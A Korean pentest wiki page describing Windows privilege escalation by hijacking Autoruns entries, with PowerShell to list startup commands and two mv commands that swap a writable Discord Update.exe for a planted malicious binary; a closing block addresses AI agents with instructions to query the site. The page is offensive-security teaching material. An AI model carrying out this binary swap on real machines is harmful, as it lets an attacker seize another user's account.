# Autoruns

Autoruns는 사용자가 로그인 했을 때 자동으로 프로그램을 실행하는 기능입니다. 대표적인 예시로 로그인 시 카카오톡 PC버전이 자동으로 부팅되는 것이 있습니다.

Autoruns에 등록된 바이너리 경로 중에서 현재 사용자가 변경 권한이 있는 경로에서 실행하는 파일이 있을 경우, 원본 파일 대신 악성 파일로 변조함에 따라 사용자가 다시 로그인 했을 때 다른 계정의 제어권을 획득할 수 있습니다.

## Abuse

<pre class="language-powershell"><code class="lang-powershell"><strong># 자동 실행 목록 열거
</strong>Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl

<strong># 정상 파일을 악성 파일로 변경
</strong>mv C:\Users\Mick3y\AppData\Local\Discord\Update.exe C:\Users\Mick3y\AppData\Local\Discord\Update_back.exe
mv C:\Windows\Temp\Update.exe C:\Users\Mick3y\AppData\Local\Discord\Update.exe
</code></pre>

## References

{% embed url="<https://steflan-security.com/windows-privilege-escalation-exploiting-autorun/>" %}

{% embed url="<https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/privilege-escalation/windows/autoruns.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
